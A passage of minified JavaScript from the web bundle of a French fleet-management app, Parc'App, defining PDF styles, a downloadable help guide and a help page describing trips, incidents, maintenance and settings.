y=Mp[p].indexOf(A);y&gt;-1&amp;&amp;Mp[p].splice(y,1)},updateContainer:i}},uY={create:e=&gt;e},Vr=uY.create({page:{padding:40,fontSize:11,fontFamily:&quot;Helvetica&quot;,lineHeight:1.5},title:{fontSize:24,fontWeight:&quot;bold&quot;,marginBottom:10,textAlign:&quot;center&quot;},subtitle:{fontSize:14,marginBottom:30,textAlign:&quot;center&quot;,color:&quot;#666&quot;},sectionTitle:{fontSize:16,fontWeight:&quot;bold&quot;,marginTop:20,marginBottom:10,color:&quot;#2563eb&quot;},subsectionTitle:{fontSize:13,fontWeight:&quot;bold&quot;,marginTop:15,marginBottom:8,color:&quot;#1e40af&quot;},paragraph:{marginBottom:8,textAlign:&quot;justify&quot;},list:{marginLeft:20,marginBottom:8},listItem:{marginBottom:5},bold:{fontWeight:&quot;bold&quot;},separator:{borderBottom:&quot;1 solid #e5e7eb&quot;,marginVertical:15},developerSection:{marginTop:30,paddingTop:20,borderTopWidth:2,borderTopColor:&quot;#e5e7eb&quot;,alignItems:&quot;center&quot;},developerLogo:{width:120,height:60,marginBottom:10,objectFit:&quot;contain&quot;},developerName:{fontSize:14,fontWeight:&quot;bold&quot;,marginBottom:5,color:&quot;#111&quot;},developerTagline:{fontSize:10,marginBottom:5,color:&quot;#666&quot;,fontStyle:&quot;italic&quot;},developerWebsite:{fontSize:10,color:&quot;#2563eb&quot;,textDecoration:&quot;none&quot;}});function FPe({logoBase64:e}={}){return a.jsx(XS,{children:a.jsxs(H4,{size:&quot;A4&quot;,style:Vr.page,children:[a.jsx(rr,{style:Vr.title,children:&quot;Aide &amp; Documentation&quot;}),a.jsx(rr,{style:Vr.subtitle,children:&quot;Guide d&#039;utilisation de Parc&#039;App - Gestion de flotte&quot;}),a.jsxs(Rn,{children:[a.jsx(rr,{style:Vr.sectionTitle,children:&quot;Vue d&#039;ensemble&quot;}),a.jsx(rr,{style:Vr.paragraph,children:&quot;Parc&#039;App est une application de gestion de flotte de véhicules qui permet de gérer les voyages, les véhicules, les remorques, les équipages, les entretiens, les incidents et les statistiques.&quot;}),a.jsx(rr,{style:Vr.paragraph,children:&quot;L&#039;application est organisée en plusieurs sections principales accessibles depuis le menu latéral (ou le menu mobile en bas de l&#039;écran).&quot;})]}),a.jsx(Rn,{style:Vr.separator}),a.jsxs(Rn,{children:[a.jsx(rr,{style:Vr.sectionTitle,children:&quot;Gestion des Voyages&quot;}),a.jsx(rr,{style:Vr.subsectionTitle,children:&quot;Créer un nouveau voyage&quot;}),a.jsxs(rr,{style:Vr.paragraph,children:[&#039;1. Cliquez sur le bouton &quot;Créer un voyage&quot; en haut de la page des voyages&#039;,`
`,&quot;2. Sélectionnez le type de voyage, le véhicule, la remorque et l&#039;équipage&quot;,`
`,&quot;3. Renseignez les informations du voyage (titre, client, lieux, etc.)&quot;,`
`,&quot;4. Configurez les trajets (aller simple ou aller-retour)&quot;,`
`,&#039;5. Validez en cliquant sur &quot;Créer le voyage&quot;&#039;]}),a.jsx(rr,{style:Vr.subsectionTitle,children:&quot;Consulter et gérer un voyage&quot;}),a.jsxs(rr,{style:Vr.paragraph,children:[&quot;La page de détail contient plusieurs onglets :&quot;,`
`,&quot;• Résumé : Informations générales et statut&quot;,`
`,&quot;• Trajets : Liste des trajets avec leurs étapes&quot;,`
`,&quot;• Journal : Chronologie des événements et incidents&quot;,`
`,&quot;• Argent : Revenus et dépenses du voyage&quot;]}),a.jsx(rr,{style:Vr.subsectionTitle,children:&quot;Modifier un voyage&quot;}),a.jsx(rr,{style:Vr.paragraph,children:&#039;Depuis la page de détail, cliquez sur &quot;Modifier&quot; pour éditer les informations. Certaines modifications peuvent être limitées si le voyage a déjà commencé.&#039;}),a.jsx(rr,{style:Vr.subsectionTitle,children:&quot;Actions disponibles&quot;}),a.jsxs(rr,{style:Vr.paragraph,children:[&quot;• Générer l&#039;ordre de mission (PDF)&quot;,`
`,&quot;• Gérer les pesées (chargement/déchargement)&quot;,`
`,&quot;• Gérer les incidents&quot;,`
`,&quot;• Archiver ou supprimer un voyage terminé&quot;]}),a.jsx(rr,{style:Vr.subsectionTitle,children:&quot;Recherche et filtres&quot;}),a.jsx(rr,{style:Vr.paragraph,children:&quot;Utilisez la barre de recherche pour trouver un voyage par titre, code, client, véhicule, etc. Les filtres permettent de trier par statut (En préparation, En cours, Terminé, Annulé).&quot;})]}),a.jsx(Rn,{style:Vr.separator}),a.jsxs(Rn,{children:[a.jsx(rr,{style:Vr.sectionTitle,children:&quot;Gestion des Incidents&quot;}),a.jsx(rr,{style:Vr.subsectionTitle,children:&quot;Vue d&#039;ensemble&quot;}),a.jsx(rr,{style:Vr.paragraph,children:&quot;La page des incidents affiche tous les voyages en cours qui ont des incidents signalés par les chauffeurs. Les voyages sont organisés par ordre de priorité : incidents urgents en premier.&quot;}),a.jsx(rr,{style:Vr.subsectionTitle,children:&quot;Types d&#039;incidents&quot;}),a.jsx(rr,{style:Vr.paragraph,children:&quot;Les chauffeurs peuvent signaler différents types : Roue, Électricité, Moteur, Frein, Autre.&quot;}),a.jsx(rr,{style:Vr.subsectionTitle,children:&quot;Gérer un incident&quot;}),a.jsxs(rr,{style:Vr.paragraph,children:[&quot;Depuis l&#039;onglet Journal d&#039;un voyage :&quot;,`
`,&quot;• Consultez les détails (type, priorité, statut, photos, messages)&quot;,`
`,&quot;• Répondez avec texte, photos, audio ou vidéo&quot;,`
`,&quot;• Marquez l&#039;incident comme résolu&quot;,`
`,&quot;• Assignez l&#039;incident à un utilisateur&quot;]}),a.jsx(rr,{style:Vr.subsectionTitle,children:&quot;Indicateurs visuels&quot;}),a.jsxs(rr,{style:Vr.paragraph,children:[&quot;• Bordure rouge : Voyage avec incident(s) urgent(s)&quot;,`
`,&quot;• Bordure orange : Voyage avec incident(s) ouvert(s)&quot;,`
`,&quot;• Bordure bleue : Voyage avec messages non lus&quot;,`
`,&#039;• Badges : &quot;Urgent&quot;, &quot;En cours&quot;, nombre de messages non lus&#039;]})]}),a.jsx(Rn,{style:Vr.separator}),a.jsxs(Rn,{children:[a.jsx(rr,{style:Vr.sectionTitle,children:&quot;Gestion des Entretiens&quot;}),a.jsx(rr,{style:Vr.subsectionTitle,children:&quot;Créer un entretien&quot;}),a.jsxs(rr,{style:Vr.paragraph,children:[&#039;1. Cliquez sur &quot;Ajouter une maintenance&quot;&#039;,`
`,&quot;2. Sélectionnez le véhicule ou la remorque&quot;,`
`,&quot;3. Choisissez le type d&#039;entretien (vidange, filtre, freins, etc.)&quot;,`
`,&quot;4. Renseignez la date prévue, le kilométrage prévu (véhicules) et les notes&quot;,`
`,&quot;5. Ajoutez une photo si nécessaire&quot;]}),a.jsx(rr,{style:Vr.subsectionTitle,children:&quot;Organisation&quot;}),a.jsxs(rr,{style:Vr.paragraph,children:[&quot;Les entretiens sont organisés par équipement et filtrés par statut :&quot;,`
`,&quot;• Tous, Planifiés, En cours, Terminés, En retard&quot;]}),a.jsx(rr,{style:Vr.subsectionTitle,children:&quot;Traiter un entretien&quot;}),a.jsxs(rr,{style:Vr.paragraph,children:[&quot;Une fois l&#039;entretien effectué :&quot;,`
`,&quot;1. Cliquez sur le bouton de traitement&quot;,`
`,&quot;2. Mettez à jour le statut (Planifié, En cours, Terminé)&quot;,`
`,&quot;3. Renseignez la date effectuée et le kilométrage effectué&quot;,`
`,&quot;4. Ajoutez les pièces remplacées (nom, quantité, coût unitaire)&quot;,`
`,&quot;5. Ajoutez le coût de main-d&#039;œuvre&quot;,`
`,&quot;6. Ajoutez des documents (photo, audio, justificatif)&quot;,`
`,&quot;7. Le coût total est calculé automatiquement&quot;]}),a.jsx(rr,{style:Vr.subsectionTitle,children:&quot;Filtres et recherche&quot;}),a.jsxs(rr,{style:Vr.paragraph,children:[&quot;• Recherche par type, description ou notes&quot;,`
`,&quot;• Filtre par équipement (véhicule ou remorque spécifique)&quot;,`
`,&quot;• Filtre par statut via les onglets&quot;]})]}),a.jsx(Rn,{style:Vr.separator}),a.jsxs(Rn,{children:[a.jsx(rr,{style:Vr.sectionTitle,children:&quot;Autres sections&quot;}),a.jsx(rr,{style:Vr.subsectionTitle,children:&quot;Tableau de bord&quot;}),a.jsx(rr,{style:Vr.paragraph,children:&quot;Aperçu global de l&#039;activité avec statistiques principales et accès rapide aux sections.&quot;}),a.jsx(rr,{style:Vr.subsectionTitle,children:&quot;Attelages&quot;}),a.jsx(rr,{style:Vr.paragraph,children:&quot;Gérez l&#039;association des véhicules et remorques. Les attelages peuvent être utilisés lors de la création de voyages.&quot;}),a.jsx(rr,{style:Vr.subsectionTitle,children:&quot;Statistiques&quot;}),a.jsx(rr,{style:Vr.paragraph,children:&quot;Consultez les statistiques par onglets : Vue d&#039;ensemble, Revenus, Dépenses, Véhicules. Filtrez par période et exportez les données.&quot;}),a.jsx(rr,{style:Vr.subsectionTitle,children:&quot;Paramètres&quot;}),a.jsxs(rr,{style:Vr.paragraph,children:[&quot;• Référentiels : Équipements, Équipage, Types de voyages, Lieux&quot;,`
`,&quot;• Organisation : Informations de l&#039;entreprise, logo, contacts d&#039;urgence&quot;,`
`,&quot;• Utilisateurs : Gestion des comptes, rôles et permissions&quot;]})]}),a.jsx(Rn,{style:Vr.separator}),a.jsxs(Rn,{children:[a.jsx(rr,{style:Vr.sectionTitle,children:&quot;Astuces et bonnes pratiques&quot;}),a.jsxs(rr,{style:Vr.paragraph,children:[&quot;• Utilisez le menu latéral pour accéder rapidement aux sections&quot;,`
`,&quot;• La plupart des listes sont filtrables et recherchables&quot;,`
`,&quot;• Les fonctionnalités accessibles dépendent de votre rôle&quot;,`
`,&quot;• Vérifiez régulièrement la page des incidents pour identifier rapidement les problèmes&quot;,`
`,&quot;• Planifiez les entretiens préventifs à l&#039;avance&quot;,`
`,&quot;• Enregistrez toujours les pièces remplacées et les coûts pour un suivi financier précis&quot;]})]}),a.jsxs(Rn,{style:Vr.developerSection,children:[e&amp;&amp;a.jsx(Gm,{src:e,style:Vr.developerLogo}),a.jsx(rr,{style:Vr.developerName,children:&quot;JRB XSolutions&quot;}),a.jsx(rr,{style:Vr.developerTagline,children:&quot;Des solutions digitales accessibles à tous&quot;}),a.jsx(rr,{style:Vr.developerWebsite,children:&quot;www.jrbxsolutions.com&quot;})]}),a.jsx(Rn,{style:[Vr.separator,{marginTop:20}]}),a.jsxs(rr,{style:[Vr.paragraph,{textAlign:&quot;center&quot;,fontSize:9,color:&quot;#666&quot;,marginTop:10}],children:[&quot;Document généré le &quot;,new Date().toLocaleDateString(&quot;fr-FR&quot;),&quot; - Parc&#039;App&quot;]})]})})}function dY(){const[e,t]=I.useState(!1),{toast:r}=Er(),n=async()=&gt;{t(!0);try{let i;try{const c=await fetch(&quot;/jrb-xsolutions-logo.png&quot;);if(c.ok){const d=await c.blob();i=await new Promise((u,h)=&gt;{const p=new FileReader;p.onloadend=()=&gt;{typeof p.result==&quot;string&quot;?u(p.result):h(new Error(&quot;Failed to convert logo to base64&quot;))},p.onerror=h,p.readAsDataURL(d)})}}catch{console.log(&quot;Logo non disponible, génération du PDF sans logo&quot;)}const s=await Gw(a.jsx(FPe,{logoBase64:i})).toBlob(),o=URL.createObjectURL(s),l=document.createElement(&quot;a&quot;);l.href=o,l.download=`aide-parcapp-${new Date().toISOString().split(&quot;T&quot;)[0]}.pdf`,document.body.appendChild(l),l.click(),document.body.removeChild(l),URL.revokeObjectURL(o),r({title:&quot;Succès&quot;,description:&quot;Le guide d&#039;aide a été téléchargé avec succès&quot;})}catch(i){console.error(&quot;Erreur lors de la génération du PDF:&quot;,i),r({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Impossible de générer le PDF. Veuillez réessayer.&quot;})}finally{t(!1)}};return a.jsxs(&quot;div&quot;,{className:&quot;p-4 md:p-8 space-y-6 max-w-4xl mx-auto&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;text-center space-y-2&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-center gap-2&quot;,children:[a.jsx(Gl,{className:&quot;h-8 w-8 text-primary&quot;}),a.jsx(&quot;h1&quot;,{className:&quot;text-3xl font-bold&quot;,children:&quot;Aide &amp; Documentation&quot;})]}),a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;Guide d&#039;utilisation de Parc&#039;App - Gestion de flotte&quot;}),a.jsx(&quot;div&quot;,{className:&quot;flex justify-center mt-4&quot;,children:a.jsx(ge,{onClick:n,disabled:e,variant:&quot;outline&quot;,className:&quot;gap-2&quot;,children:e?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;h-4 w-4 animate-spin&quot;}),&quot;Génération...&quot;]}):a.jsxs(a.Fragment,{children:[a.jsx(Y3,{className:&quot;h-4 w-4&quot;}),&quot;Télécharger en PDF&quot;]})})})]}),a.jsxs(it,{children:[a.jsx(br,{children:a.jsxs(jr,{className:&quot;flex items-center justify-between&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(Wf,{className:&quot;h-5 w-5 text-primary&quot;}),&quot;Vue d&#039;ensemble&quot;]}),a.jsx(Ms,{text:&quot;Parc&#039;App est une application de gestion de flotte de véhicules qui permet de gérer les voyages, les véhicules, les remorques, les équipages, les entretiens, les incidents et les statistiques. L&#039;application est organisée en plusieurs sections principales accessibles depuis le menu latéral ou le menu mobile en bas de l&#039;écran.&quot;,title:&quot;Vue d&#039;ensemble&quot;,size:&quot;sm&quot;})]})}),a.jsxs(Et,{className:&quot;space-y-3 text-sm&quot;,children:[a.jsx(&quot;p&quot;,{children:&quot;Parc&#039;App est une application de gestion de flotte de véhicules qui permet de gérer les voyages, les véhicules, les remorques, les équipages, les entretiens, les incidents et les statistiques.&quot;}),a.jsx(&quot;p&quot;,{children:&quot;L&#039;application est organisée en plusieurs sections principales accessibles depuis le menu latéral (ou le menu mobile en bas de l&#039;écran).&quot;})]})]}),a.jsxs(it,{children:[a.jsx(br,{children:a.jsxs(jr,{className:&quot;flex items-center justify-between&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(Wf,{className:&quot;h-5 w-5 text-primary&quot;}),&quot;Guide rapide par section&quot;]}),a.jsx(Ms,{text:&quot;Ce guide vous explique comment utiliser chaque section de l&#039;application : la gestion des voyages, des incidents, des entretiens, des statistiques et des paramètres. Chaque section contient des instructions détaillées pour vous aider à utiliser efficacement Parc&#039;App.&quot;,title:&quot;Guide rapide par section&quot;,size:&quot;sm&quot;})]})}),a.jsx(Et,{children:a.jsxs(bN,{type:&quot;single&quot;,collapsible:!0,className:&quot;w-full&quot;,children:[a.jsxs(Il,{value:&quot;dashboard&quot;,children:[a.jsx(jl,{children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(h4,{className:&quot;h-4 w-4&quot;}),a.jsx(&quot;span&quot;,{children:&quot;Tableau de bord&quot;})]})}),a.jsxs(Nl,{className:&quot;space-y-3 text-sm&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-semibold&quot;,children:&quot;Vue d&#039;ensemble :&quot;}),a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside space-y-1 text-muted-foreground&quot;,children:[a.jsx(&quot;li&quot;,{children:&quot;Le tableau de bord affiche un aperçu global de l&#039;activité&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Vous pouvez voir les statistiques principales : voyages en cours, véhicules, incidents, etc.&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Les cartes cliquables permettent d&#039;accéder rapidement aux sections détaillées&quot;})]})]})]}),a.jsxs(Il,{value:&quot;voyages&quot;,children:[a.jsx(jl,{children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(ei,{className:&quot;h-4 w-4&quot;}),a.jsx(&quot;span&quot;,{children:&quot;Gestion des Voyages&quot;})]})}),a.jsxs(Nl,{className:&quot;space-y-4 text-sm&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;flex justify-end mb-2&quot;,children:a.jsx(Ms,{text:&quot;Pour créer un voyage, cliquez sur Créer un voyage, sélectionnez le type, le véhicule, la remorque et l&#039;équipage. Renseignez les informations, configurez les lieux et les trajets. La page de détail contient plusieurs onglets : Résumé pour les informations générales, Trajets pour les trajets et étapes, Journal pour la chronologie des événements, et Argent pour les revenus et dépenses. Vous pouvez modifier un voyage, générer l&#039;ordre de mission, gérer les pesées et les incidents. Utilisez la recherche et les filtres pour trouver rapidement un voyage.&quot;,title:&quot;Gestion des Voyages&quot;,size:&quot;sm&quot;})}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-semibold text-base&quot;,children:&quot;Créer un nouveau voyage :&quot;}),a.jsxs(&quot;ol&quot;,{className:&quot;list-decimal list-inside space-y-2 text-muted-foreground ml-2&quot;,children:[a.jsxs(&quot;li&quot;,{children:[&quot;Cliquez sur le bouton &quot;,a.jsxs(&quot;span&quot;,{className:&quot;inline-flex items-center gap-1 font-medium text-foreground&quot;,children:[a.jsx(Ti,{className:&quot;h-3 w-3&quot;}),&quot; Créer un voyage&quot;]}),&quot; en haut de la page des voyages&quot;]}),a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Sélectionnez le type de voyage&quot;}),&quot; : Choisissez parmi les types configurés (ex: Transport de marchandises, Livraison, etc.)&quot;]}),a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Choisissez le véhicule&quot;}),&quot; : Sélectionnez un véhicule disponible. Si le véhicule a un attelage actif, la remorque sera automatiquement proposée&quot;]}),a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Sélectionnez la remorque&quot;}),&quot; : Choisissez une remorque ou utilisez celle de l&#039;attelage actif&quot;]}),a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Configurez l&#039;équipage&quot;}),&quot; :&quot;,a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside ml-4 mt-1 space-y-1&quot;,children:[a.jsx(&quot;li&quot;,{children:&quot;Sélectionnez le chauffeur principal (obligatoire)&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Ajoutez des membres d&#039;équipage supplémentaires si nécessaire (apprentis, etc.)&quot;})]})]}),a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Renseignez les informations du voyage&quot;}),&quot; :&quot;,a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside ml-4 mt-1 space-y-1&quot;,children:[a.jsx(&quot;li&quot;,{children:&#039;Titre du voyage (ex: &quot;Livraison Ouaga - Bobo&quot;)&#039;}),a.jsx(&quot;li&quot;,{children:&quot;Description (optionnelle)&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Nom du client&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Référence client (optionnelle)&quot;})]})]}),a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Configurez les lieux&quot;}),&quot; :&quot;,a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside ml-4 mt-1 space-y-1&quot;,children:[a.jsx(&quot;li&quot;,{children:&quot;Lieu de chargement (sélectionnez depuis les lieux configurés ou saisissez manuellement)&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Lieu de déchargement (sélectionnez depuis les lieux configurés ou saisissez manuellement)&quot;}),a.jsx(&quot;li&quot;,{children:&#039;Type de chargement (ex: &quot;Sable&quot;, &quot;Gravier&quot;, etc.)&#039;})]})]}),a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Gérez les documents&quot;}),&quot; :&quot;,a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside ml-4 mt-1 space-y-1&quot;,children:[a.jsx(&quot;li&quot;,{children:&quot;Numéro de bon de commande (optionnel)&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Date du bon de commande (optionnelle)&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Upload du bon de chargement (photo du document)&quot;})]})]}),a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Configurez les trajets&quot;}),&quot; :&quot;,a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside ml-4 mt-1 space-y-1&quot;,children:[a.jsx(&quot;li&quot;,{children:&#039;Choisissez le mode : &quot;Aller simple&quot; ou &quot;Aller-retour&quot;&#039;}),a.jsx(&quot;li&quot;,{children:&quot;Définissez le nombre de tours prévus (par défaut 1)&quot;}),a.jsx(&quot;li&quot;,{children:&#039;Si vous choisissez &quot;Créer les trajets maintenant&quot;, les trajets seront générés automatiquement&#039;})]})]}),a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Date de départ prévue&quot;}),&quot; : Optionnelle, permet de planifier le voyage à l&#039;avance&quot;]}),a.jsxs(&quot;li&quot;,{children:[&quot;Cliquez sur &quot;,a.jsx(&quot;span&quot;,{className:&quot;font-medium text-foreground&quot;,children:&#039;&quot;Créer le voyage&quot;&#039;}),&quot; pour finaliser&quot;]})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2 pt-3 border-t&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-semibold text-base&quot;,children:&quot;Consulter et gérer un voyage :&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground mb-2&quot;,children:&quot;Cliquez sur un voyage dans la liste pour accéder à sa page de détail. Cette page contient plusieurs onglets :&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-3 ml-2&quot;,children:[a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;font-medium text-foreground mb-1&quot;,children:&quot;📋 Onglet Résumé :&quot;}),a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside space-y-1 text-muted-foreground ml-4&quot;,children:[a.jsx(&quot;li&quot;,{children:&quot;Affiche toutes les informations générales du voyage&quot;}),a.jsxs(&quot;li&quot;,{children:[&quot;Statut du voyage : &quot;,a.jsx(&quot;span&quot;,{className:&quot;font-medium&quot;,children:&quot;En préparation&quot;}),&quot;, &quot;,a.jsx(&quot;span&quot;,{className:&quot;font-medium&quot;,children:&quot;En cours&quot;}),&quot;, &quot;,a.jsx(&quot;span&quot;,{className:&quot;font-medium&quot;,children:&quot;Terminée&quot;}),&quot;, ou &quot;,a.jsx(&quot;span&quot;,{className:&quot;font-medium&quot;,children:&quot;Annulée&quot;})]}),a.jsx(&quot;li&quot;,{children:&quot;Informations sur le véhicule, la remorque et l&#039;équipage&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Lieux de chargement et déchargement&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Dates de début et de fin (si disponibles)&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Barre de progression du voyage&quot;})]})]}),a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;font-medium text-foreground mb-1&quot;,children:&quot;🚛 Onglet Trajets :&quot;}),a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside space-y-1 text-muted-foreground ml-4&quot;,children:[a.jsx(&quot;li&quot;,{children:&quot;Liste de tous les trajets associés au voyage (aller, retour, tours multiples)&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Pour chaque trajet : statut, dates, étapes, kilométrage&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Visualisation des étapes de chaque trajet avec leur statut (non atteinte, atteinte, en retard)&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Possibilité de voir les détails de chaque étape&quot;})]})]}),a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;font-medium text-foreground mb-1&quot;,children:&quot;📝 Onglet Journal :&quot;}),a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside space-y-1 text-muted-foreground ml-4&quot;,children:[a.jsx(&quot;li&quot;,{children:&quot;Chronologie complète des événements du voyage&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Événements créés par les chauffeurs (photos, vidéos, messages audio, texte)&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Incidents signalés avec leurs messages et réponses&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Événements automatiques (démarrage voyage, validation d&#039;étapes, etc.)&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Filtres par type d&#039;événement et par étape&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Marquer les événements comme lus/non lus&quot;})]})]}),a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;font-medium text-foreground mb-1&quot;,children:&quot;💰 Onglet Argent :&quot;}),a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside space-y-1 text-muted-foreground ml-4&quot;,children:[a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Revenus&quot;}),&quot; : Ajoutez les revenus de la mission (montant, description, justificatif)&quot;]}),a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Dépenses&quot;}),&quot; : Gérez les dépenses du voyage&quot;,a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside ml-4 mt-1 space-y-1&quot;,children:[a.jsx(&quot;li&quot;,{children:&quot;Dépenses générales (péages, parking, etc.)&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Prises de carburant avec photos des tickets&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Dépenses par catégorie (carburant, péage, réparation, autre)&quot;})]})]}),a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Bilan financier&quot;}),&quot; : Calcul automatique du bénéfice/perte (Revenus - Dépenses)&quot;]}),a.jsx(&quot;li&quot;,{children:&quot;Possibilité d&#039;éditer ou supprimer les revenus et dépenses&quot;})]})]})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2 pt-3 border-t&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-semibold text-base&quot;,children:&quot;Modifier un voyage :&quot;}),a.jsxs(&quot;ol&quot;,{className:&quot;list-decimal list-inside space-y-1 text-muted-foreground ml-2&quot;,children:[a.jsxs(&quot;li&quot;,{children:[&quot;Depuis la page de détail, cliquez sur le bouton &quot;,a.jsxs(&quot;span&quot;,{className:&quot;inline-flex items-center gap-1 font-medium text-foreground&quot;,children:[a.jsx($m,{className:&quot;h-3 w-3&quot;}),&quot; Modifier&quot;]}),&quot; en haut à droite&quot;]}),a.jsxs(&quot;li&quot;,{children:[&quot;Vous pouvez modifier :&quot;,a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside ml-4 mt-1 space-y-1&quot;,children:[a.jsx(&quot;li&quot;,{children:&quot;Les informations générales (titre, description, client, etc.)&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Le véhicule et la remorque (si le voyage n&#039;a pas encore commencé)&quot;}),a.jsx(&quot;li&quot;,{children:&quot;L&#039;équipage&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Les lieux de chargement et déchargement&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Les documents (bon de chargement)&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Le statut du voyage&quot;})]})]}),a.jsx(&quot;li&quot;,{children:&quot;Note : Certaines modifications peuvent être limitées si le voyage a déjà commencé&quot;})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2 pt-3 border-t&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-semibold text-base&quot;,children:&quot;Actions disponibles :&quot;}),a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside space-y-1 text-muted-foreground ml-2&quot;,children:[a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Générer l&#039;ordre de mission&quot;}),&quot; : Depuis la page de détail, cliquez sur &quot;,a.jsxs(&quot;span&quot;,{className:&quot;inline-flex items-center gap-1 font-medium text-foreground&quot;,children:[a.jsx(po,{className:&quot;h-3 w-3&quot;}),&quot; Ordre de mission&quot;]}),&quot; pour générer un PDF&quot;]}),a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Gérer les pesées&quot;}),&quot; :&quot;,a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside ml-4 mt-1 space-y-1&quot;,children:[a.jsx(&quot;li&quot;,{children:&quot;Upload du ticket de pesée de chargement (depuis l&#039;onglet Trajets ou Résumé)&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Upload du ticket de pesée de déchargement&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Visualisation des photos des tickets de pesée&quot;})]})]}),a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Gérer les incidents&quot;}),&quot; : Créez et suivez les incidents depuis l&#039;onglet Journal&quot;]}),a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Archiver/Supprimer&quot;}),&quot; : Un voyage terminé peut être archivé ou supprimé (avec confirmation)&quot;]})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2 pt-3 border-t&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-semibold text-base&quot;,children:&quot;Recherche et filtres :&quot;}),a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside space-y-1 text-muted-foreground ml-2&quot;,children:[a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Barre de recherche&quot;}),&quot; : Recherchez par :&quot;,a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside 